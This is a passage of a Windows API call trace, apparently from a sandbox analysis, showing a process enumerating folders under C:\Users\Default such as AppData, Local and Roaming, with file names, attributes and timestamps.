lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0209.536] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x31bfa5a5, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xea64ab63, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xea64ab63, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0209.536] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x31cb9166, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x31cb9166, ftLastAccessTime.dwHighDateTime=0x1d112dc, ftLastWriteTime.dwLowDateTime=0x31cb9166, ftLastWriteTime.dwHighDateTime=0x1d112dc, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0209.536] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x31cb9166, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x31cb9166, ftLastAccessTime.dwHighDateTime=0x1d112dc, ftLastWriteTime.dwLowDateTime=0x31cb9166, ftLastWriteTime.dwHighDateTime=0x1d112dc, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0209.536] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d5f4e96, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8d5f4e96, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8d61ae52, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0209.537] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d5f4e96, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8d5f4e96, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8d61ae52, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0209.537] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d61ae52, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8d61ae52, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8d61ae52, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0209.537] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0209.537] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0209.537] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0209.538] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0209.538] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0209.538] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0209.538] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0209.538] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0209.539] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.539] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0209.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0209.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.539] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData", lpFilePart=0x0) returned 0x18 [0209.539] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*" (normalized: "c:\\users\\default\\appdata\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.540] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.540] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0209.540] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0209.541] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0209.541] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.541] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData", lpFilePart=0x0) returned 0x18 [0209.541] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*" (normalized: "c:\\users\\default\\appdata\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.541] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.542] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0209.542] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0209.542] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.542] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0209.542] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local", lpFilePart=0x0) returned 0x1e [0209.543] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*" (normalized: "c:\\users\\default\\appdata\\local\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.545] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.545] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0209.545] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0209.545] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0209.546] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0209.546] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0209.546] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0209.546] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0209.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0209.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0209.547] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local", lpFilePart=0x0) returned 0x1e [0209.548] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*" (normalized: "c:\\users\\default\\appdata\\local\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.549] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.550] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0209.550] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0209.550] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0209.550] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0209.550] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0209.551] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, 